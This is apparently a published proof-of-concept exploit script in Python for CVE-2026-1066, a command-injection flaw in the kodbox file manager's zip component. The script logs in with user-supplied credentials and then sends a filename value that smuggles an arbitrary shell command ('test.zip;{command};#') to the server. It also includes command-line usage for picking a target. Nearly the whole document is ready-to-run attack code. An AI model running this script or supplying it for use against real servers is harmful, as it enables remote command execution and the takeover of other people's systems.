CVE-2026-1066 kalcaddle kodbox压缩组件命令执行漏洞

import requests import sys # CVE-2026-1066 PoC - kalcaddle kodbox Command Injection # Target: kalcaddle kodbox <= 1.61.10 # Component: Compression Handler (/explorer/index/zip) def exploit(target_url, username, password, command): """ Exploit for CVE-2026-1066 This PoC demonstrates command injection in kodbox zip handler """ # Login to kodbox login_url = target_url + '/?user/login' login_data = { 'user': username, 'password': password } session = requests.Session() resp = session.post(login_url, data=login_data) if resp.status_code != 200: print('[-] Login failed') return False # Exploit command injection via zip component # Inject command using filename parameter exploit_url = target_url + '/?explorer/index/zip' # Construct malicious payload # Example: filename containing command injection payload = {'file': f'test.zip;{command};#'} try: resp = session.post(exploit_url, data=payload, timeout=10) if resp.status_code == 200: print(f'[+] Command executed successfully: {command}') return True except Exception as e: print(f'[-] Error: {e}') return False if __name__ == '__main__': if len(sys.argv) < 5: print(f'Usage: python {sys.argv[0]} <target_url> <username> <password> <command>') sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] cmd = sys.argv[4] exploit(target, user, pwd, cmd)